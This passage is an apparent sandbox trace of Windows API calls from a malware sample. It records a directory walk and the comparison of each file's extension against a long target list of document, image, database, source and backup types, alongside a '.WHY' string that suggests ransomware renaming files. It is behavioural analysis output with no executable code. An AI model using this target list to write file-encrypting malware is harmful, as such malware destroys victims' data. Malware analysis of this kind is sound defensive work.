(lpString1=".dwg", lpString2=".WHY") returned -1 [0207.137] lstrlenW (lpString=".dwt") returned 4 [0207.137] lstrcmpiW (lpString1=".dwt", lpString2=".WHY") returned -1 [0207.137] lstrlenW (lpString=".dx") returned 3 [0207.138] lstrcmpiW (lpString1=".dx", lpString2="WHY") returned -1 [0207.138] lstrlenW (lpString=".dxf") returned 4 [0207.138] lstrcmpiW (lpString1=".dxf", lpString2=".WHY") returned -1 [0207.138] lstrlenW (lpString=".edml") returned 5 [0207.138] lstrcmpiW (lpString1=".edml", lpString2="].WHY") returned -1 [0207.138] lstrlenW (lpString=".efd") returned 4 [0207.138] lstrcmpiW (lpString1=".efd", lpString2=".WHY") returned -1 [0207.138] lstrlenW (lpString=".elf") returned 4 [0207.138] lstrcmpiW (lpString1=".elf", lpString2=".WHY") returned -1 [0207.138] lstrlenW (lpString=".emf") returned 4 [0207.138] lstrcmpiW (lpString1=".emf", lpString2=".WHY") returned -1 [0207.138] lstrlenW (lpString=".emz") returned 4 [0207.138] lstrcmpiW (lpString1=".emz", lpString2=".WHY") returned -1 [0207.138] lstrlenW (lpString=".epf") returned 4 [0207.139] lstrcmpiW (lpString1=".epf", lpString2=".WHY") returned -1 [0207.139] lstrlenW (lpString=".eps") returned 4 [0207.139] lstrcmpiW (lpString1=".eps", lpString2=".WHY") returned -1 [0207.139] lstrlenW (lpString=".epsf") returned 5 [0207.139] lstrcmpiW (lpString1=".epsf", lpString2="].WHY") returned -1 [0207.139] lstrlenW (lpString=".epsp") returned 5 [0207.139] lstrcmpiW (lpString1=".epsp", lpString2="].WHY") returned -1 [0207.139] lstrlenW (lpString=".erf") returned 4 [0207.139] lstrcmpiW (lpString1=".erf", lpString2=".WHY") returned -1 [0207.139] lstrlenW (lpString=".exr") returned 4 [0207.139] lstrcmpiW (lpString1=".exr", lpString2=".WHY") returned -1 [0207.139] lstrlenW (lpString=".f4v") returned 4 [0207.139] lstrcmpiW (lpString1=".f4v", lpString2=".WHY") returned -1 [0207.139] lstrlenW (lpString=".fido") returned 5 [0207.140] lstrcmpiW (lpString1=".fido", lpString2="].WHY") returned -1 [0207.140] lstrlenW (lpString=".flm") returned 4 [0207.140] lstrcmpiW (lpString1=".flm", lpString2=".WHY") returned -1 [0207.140] lstrlenW (lpString=".flv") returned 4 [0207.140] lstrcmpiW (lpString1=".flv", lpString2=".WHY") returned -1 [0207.140] lstrlenW (lpString=".frm") returned 4 [0207.140] lstrcmpiW (lpString1=".frm", lpString2=".WHY") returned -1 [0207.140] lstrlenW (lpString=".fxg") returned 4 [0207.140] lstrcmpiW (lpString1=".fxg", lpString2=".WHY") returned -1 [0207.140] lstrlenW (lpString=".geo") returned 4 [0207.140] lstrcmpiW (lpString1=".geo", lpString2=".WHY") returned -1 [0207.140] lstrlenW (lpString=".gif") returned 4 [0207.141] lstrcmpiW (lpString1=".gif", lpString2=".WHY") returned -1 [0207.141] lstrlenW (lpString=".grs") returned 4 [0207.141] lstrcmpiW (lpString1=".grs", lpString2=".WHY") returned -1 [0207.388] FindClose (in: hFindFile=0x620280 | out: hFindFile=0x620280) returned 1 [0207.389] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x590000) returned 1 [0207.389] FindNextFileW (in: hFindFile=0x620240, lpFindFileData=0x38efd00 | out: lpFindFileData=0x38efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbbeae480, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xbbeae480, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0207.389] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38efa84 | out: lpFindFileData=0x38efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbbeae480, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xbbeae480, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x620200 [0207.669] FindNextFileW (in: hFindFile=0x620200, lpFindFileData=0x38efa84 | out: lpFindFileData=0x38efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbbeae480, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xbbeae480, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.669] FindNextFileW (in: hFindFile=0x620200, lpFindFileData=0x38efa84 | out: lpFindFileData=0x38efa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0213.364] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x38ef1f4, cFileName="..", cAlternateFileName="")) returned 1 [0213.368] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x38ef1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.369] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x38ef1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.369] FindClose (in: hFindFile=0x624140 | out: hFindFile=0x624140) returned 1 [0213.370] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e7cc8 | out: hHeap=0x590000) returned 1 [0213.370] FindNextFileW (in: hFindFile=0x624080, lpFindFileData=0x38ef310 | out: lpFindFileData=0x38ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0213.371] lstrlenW (lpString="TabIpsps.dll") returned 12 [0213.371] lstrlenW (lpString=".1cd") returned 4 [0213.371] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.371] lstrlenW (lpString=".3ds") returned 4 [0213.371] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0213.371] lstrlenW (lpString=".3fr") returned 4 [0213.371] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0213.371] lstrlenW (lpString=".3g2") returned 4 [0213.371] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0213.371] lstrlenW (lpString=".3gp") returned 4 [0213.371] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0213.371] lstrlenW (lpString=".7z") returned 3 [0213.372] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.372] lstrlenW (lpString=".accda") returned 6 [0213.372] lstrcmpiW (lpString1=".accda", lpString2="ps.dll") returned -1 [0213.372] lstrlenW (lpString=".accdb") returned 6 [0213.372] lstrcmpiW (lpString1=".accdb", lpString2="ps.dll") returned -1 [0213.372] lstrlenW (lpString=".accdc") returned 6 [0213.372] lstrcmpiW (lpString1=".accdc", lpString2="ps.dll") returned -1 [0213.372] lstrlenW (lpString=".accde") returned 6 [0213.372] lstrcmpiW (lpString1=".accde", lpString2="ps.dll") returned -1 [0213.372] lstrlenW (lpString=".accdt") returned 6 [0213.372] lstrcmpiW (lpString1=".accdt", lpString2="ps.dll") returned -1 [0213.372] lstrlenW (lpString=".accdw") returned 6 [0213.373] lstrcmpiW (lpString1=".accdw", lpString2="ps.dll") returned -1 [0213.373] lstrlenW (lpString=".adb") returned 4 [0213.373] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0213.373] lstrlenW (lpString=".adp") returned 4 [0213.373] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0213.373] lstrlenW (lpString=".ai") returned 3 [0213.373] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0213.373] lstrlenW (lpString=".ai3") returned 4 [0213.373] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0213.373] lstrlenW (lpString=".ai4") returned 4 [0213.374] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0213.374] lstrlenW (lpString=".ai5") returned 4 [0213.374] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0213.374] lstrlenW (lpString=".ai6") returned 4 [0213.374] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0213.374] lstrlenW (lpString=".ai7") returned 4 [0213.374] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0213.374] lstrlenW (lpString=".ai8") returned 4 [0213.374] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0213.374] lstrlenW (lpString=".anim") returned 5 [0213.374] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0213.374] lstrlenW (lpString=".arw") returned 4 [0213.375] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0213.375] lstrlenW (lpString=".as") returned 3 [0213.375] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0213.375] lstrlenW (lpString=".asa") returned 4 [0213.375] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0213.375] lstrlenW (lpString=".asc") returned 4 [0213.376] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0213.376] lstrlenW (lpString=".ascx") returned 5 [0213.376] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0213.376] lstrlenW (lpString=".asm") returned 4 [0213.376] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0213.376] lstrlenW (lpString=".asmx") returned 5 [0213.376] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0213.376] lstrlenW (lpString=".asp") returned 4 [0213.376] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0213.377] lstrlenW (lpString=".aspx") returned 5 [0213.377] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0213.377] lstrlenW (lpString=".asr") returned 4 [0213.377] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0213.377] lstrlenW (lpString=".asx") returned 4 [0213.377] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0213.378] lstrlenW (lpString=".avi") returned 4 [0213.378] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0213.378] lstrlenW (lpString=".avs") returned 4 [0213.378] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0213.379] lstrlenW (lpString=".backup") returned 7 [0213.379] lstrcmpiW (lpString1=".backup", lpString2="sps.dll") returned -1 [0213.379] lstrlenW (lpString=".bak") returned 4 [0213.379] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0213.379] lstrlenW (lpString=".bay") returned 4 [0213.379] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0213.381] lstrlenW (lpString=".bd") returned 3 [0213.381] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0213.381] lstrlenW (lpString=".bin") returned 4 [0213.381] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0213.381] lstrlenW (lpString=".bmp") returned 4 [0213.381] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0213.381] lstrlenW (lpString=".bz2") returned 4 [0213.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.381] lstrlenW (lpString=".c") returned 2 [0213.382] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0213.382] lstrlenW (lpString=".cdr") returned 4 [0213.382] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0213.382] lstrlenW (lpString=".cer") returned 4 [0213.382] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0213.382] lstrlenW (lpString=".cf") returned 3 [0213.382] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0213.382] lstrlenW (lpString=".cfc") returned 4 [0213.382] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0213.382] lstrlenW (lpString=".cfm") returned 4 [0213.382] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0213.382] lstrlenW (lpString=".cfml") returned 5 [0213.382] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0213.383] lstrlenW (lpString=".cfu") returned 4 [0213.383] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0213.383] lstrlenW (lpString=".chm") returned 4 [0213.383] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0213.383] lstrlenW (lpString=".cin") returned 4 [0213.383] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0213.383] lstrlenW (lpString=".class") returned 6 [0213.383] lstrcmpiW (lpString1=".class", lpString2="ps.dll") returned -1 [0213.383] lstrlenW (lpString=".clx") returned 4 [0213.383] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0213.383] lstrlenW (lpString=".config") returned 7 [0213.383] lstrcmpiW (lpString1=".config", lpString2="sps.dll") returned -1 [0213.383] lstrlenW (lpString=".cpp") returned 4 [0213.384] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0213.384] lstrlenW (lpString=".cr2") returned 4 [0213.384] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0213.384] lstrlenW (lpString=".crt") returned 4 [0213.384] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0213.384] lstrlenW (lpString=".crw") returned 4 [0213.384] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0213.384] lstrlenW (lpString=".cs") returned 3 [0213.384] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0213.384] lstrlenW (lpString=".css") returned 4 [0213.385] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0213.385] lstrlenW (lpString=".csv") returned 4 [0213.385] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0213.385] lstrlenW (lpString=".cub") returned 4 [0213.385] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0213.385] lstrlenW (lpString=".dae") returned 4 [0213.385] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0213.386] lstrlenW (lpString=".dat") returned 4 [0213.386] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0213.386] lstrlenW (lpString=".db") returned 3 [0213.386] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0213.386] lstrlenW (lpString=".dbf") returned 4 [0213.386] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.386] lstrlenW (lpString=".dbx") returned 4 [0213.386] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0213.386] lstrlenW (lpString=".dc3") returned 4 [0213.386] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0213.386] lstrlenW (lpString=".dcm") returned 4 [0213.386] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0213.387] lstrlenW (lpString=".dcr") returned 4 [0213.387] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0213.387] lstrlenW (lpString=".der") returned 4 [0213.387] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0213.387] lstrlenW (lpString=".dib") returned 4 [0213.387] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0213.387] lstrlenW (lpString=".dic") returned 4 [0213.387] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0213.388] lstrlenW (lpString=".dif") returned 4 [0213.388] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0213.388] lstrlenW (lpString=".divx") returned 5 [0213.388] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0213.388] lstrlenW (lpString=".djvu") returned 5 [0213.388] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0213.388] lstrlenW (lpString=".dng") returned 4 [0213.388] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0213.388] lstrlenW (lpString=".doc") returned 4 [0213.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.388] lstrlenW (lpString=".docm") returned 5 [0213.389] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0213.389] lstrlenW (lpString=".docx") returned 5 [0213.389] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.389] lstrlenW (lpString=".dot") returned 4 [0213.389] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0213.389] lstrlenW (lpString=".dotm") returned 5 [0213.389] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0213.389] lstrlenW (lpString=".dotx") returned 5 [0213.389] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0213.389] lstrlenW (lpString=".dpx") returned 4 [0213.390] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0213.390] lstrlenW (lpString=".dqy") returned 4 [0213.390] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0213.390] lstrlenW (lpString=".dsn") returned 4 [0213.390] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0213.390] lstrlenW (lpString=".dt") returned 3 [0213.390] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0213.390] lstrlenW (lpString=".dtd") returned 4 [0213.390] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0213.390] lstrlenW (lpString=".dwg") returned 4 [0213.390] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0213.390] lstrlenW (lpString=".dwt") returned 4 [0213.391] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0213.391] lstrlenW (lpString=".dx") returned 3 [0213.391] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0213.391] lstrlenW (lpString=".dxf") returned 4 [0213.391] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0213.391] lstrlenW (lpString=".edml") returned 5 [0213.391] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0213.391] lstrlenW (lpString=".efd") returned 4 [0213.391] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0213.391] lstrlenW (lpString=".elf") returned 4 [0213.391] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0213.391] lstrlenW (lpString=".emf") returned 4 [0213.391] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0213.392] lstrlenW (lpString=".emz") returned 4 [0213.392] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0213.392] lstrlenW (lpString=".epf") returned 4 [0213.392] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0213.392] lstrlenW (lpString=".eps") returned 4 [0213.392] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0213.392] lstrlenW (lpString=".epsf") returned 5 [0214.379] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0214.379] lstrlenW (lpString=".epsp") returned 5 [0214.380] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0214.380] lstrlenW (lpString=".erf") returned 4 [0214.380] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0214.380] lstrlenW (lpString=".exr") returned 4 [0214.380] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0214.380] lstrlenW (lpString=".f4v") returned 4 [0214.380] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0214.380] lstrlenW (lpString=".fido") returned 5 [0214.380] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0214.380] lstrlenW (lpString=".flm") returned 4 [0214.381] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0214.381] lstrlenW (lpString=".flv") returned 4 [0214.381] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0214.381] lstrlenW (lpString=".frm") returned 4 [0214.381] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0214.381] lstrlenW (lpString=".fxg") returned 4 [0214.382] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0214.382] lstrlenW (lpString=".geo") returned 4 [0214.382] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0214.382] lstrlenW (lpString=".gif") returned 4 [0214.382] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0214.382] lstrlenW (lpString=".grs") returned 4 [0214.382] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0214.382] lstrlenW (lpString=".gz") returned 3 [0214.382] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0214.382] lstrlenW (lpString=".h") returned 2 [0214.382] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0214.382] lstrlenW (lpString=".hdr") returned 4 [0214.383] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0214.383] lstrlenW (lpString=".hpp") returned 4 [0214.383] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0214.383] lstrlenW (lpString=".hta") returned 4 [0214.383] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0214.383] lstrlenW (lpString=".htc") returned 4 [0214.383] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0214.383] lstrlenW (lpString=".htm") returned 4 [0214.383] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0214.383] lstrlenW (lpString=".html") returned 5 [0214.383] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0214.383] lstrlenW (lpString=".icb") returned 4 [0214.384] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0214.384] lstrlenW (lpString=".ics") returned 4 [0214.384] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0214.384] lstrlenW (lpString=".iff") returned 4 [0214.384] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0214.384] lstrlenW (lpString=".inc") returned 4 [0214.384] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0214.384] lstrlenW (lpString=".indd") returned 5 [0214.384] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0214.384] lstrlenW (lpString=".ini") returned 4 [0214.384] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0214.384] lstrlenW (lpString=".iqy") returned 4 [0214.385] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0214.385] lstrlenW (lpString=".j2c") returned 4 [0214.385] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0214.385] lstrlenW (lpString=".j2k") returned 4 [0214.385] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0214.385] lstrlenW (lpString=".java") returned 5 [0214.385] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0214.386] lstrlenW (lpString=".jp2") returned 4 [0214.386] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0214.386] lstrlenW (lpString=".jpc") returned 4 [0214.386] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0214.387] lstrlenW (lpString=".jpe") returned 4 [0214.387] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0214.387] lstrlenW (lpString=".jpeg") returned 5 [0214.387] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0214.387] lstrlenW (lpString=".jpf") returned 4 [0214.388] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0214.388] lstrlenW (lpString=".jpg") returned 4 [0214.388] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.388] lstrlenW (lpString=".jpx") returned 4 [0214.389] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0214.389] lstrlenW (lpString=".js") returned 3 [0214.389] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0214.389] lstrlenW (lpString=".jsf") returned 4 [0214.389] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0214.389] lstrlenW (lpString=".json") returned 5 [0214.389] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0214.389] lstrlenW (lpString=".jsp") returned 4 [0214.389] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0214.389] lstrlenW (lpString=".kdc") returned 4 [0214.390] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0214.390] lstrlenW (lpString=".kmz") returned 4 [0214.390] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0214.390] lstrlenW (lpString=".kwm") returned 4 [0214.390] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0214.390] lstrlenW (lpString=".lasso") returned 6 [0214.390] lstrcmpiW (lpString1=".lasso", lpString2="ps.dll") returned -1 [0214.390] lstrlenW (lpString=".lbi") returned 4 [0214.390] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0214.390] lstrlenW (lpString=".lgf") returned 4 [0214.390] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0214.390] lstrlenW (lpString=".lgp") returned 4 [0214.391] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0214.391] lstrlenW (lpString=".log") returned 4 [0214.391] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0214.391] lstrlenW (lpString=".m1v") returned 4 [0214.391] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0214.391] lstrlenW (lpString=".m4a") returned 4 [0214.391] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0214.391] lstrlenW (lpString=".m4v") returned 4 [0214.391] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0214.391] lstrlenW (lpString=".max") returned 4 [0214.391] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0214.391] lstrlenW (lpString=".md") returned 3 [0214.391] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0214.392] lstrlenW (lpString=".mda") returned 4 [0214.392] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0214.392] lstrlenW (lpString=".mdb") returned 4 [0214.392] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0214.392] lstrlenW (lpString=".mde") returned 4 [0214.392] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0214.392] lstrlenW (lpString=".mdf") returned 4 [0214.392] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0214.392] lstrlenW (lpString=".mdw") returned 4 [0214.392] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0214.393] lstrlenW (lpString=".mef") returned 4 [0214.393] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0214.393] lstrlenW (lpString=".mft") returned 4 [0214.393] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0214.393] lstrlenW (lpString=".mfw") returned 4 [0214.393] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0214.393] lstrlenW (lpString=".mht") returned 4 [0214.393] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0214.393] lstrlenW (lpString=".mhtml") returned 6 [0214.393] lstrcmpiW (lpString1=".mhtml", lpString2="ps.dll") returned 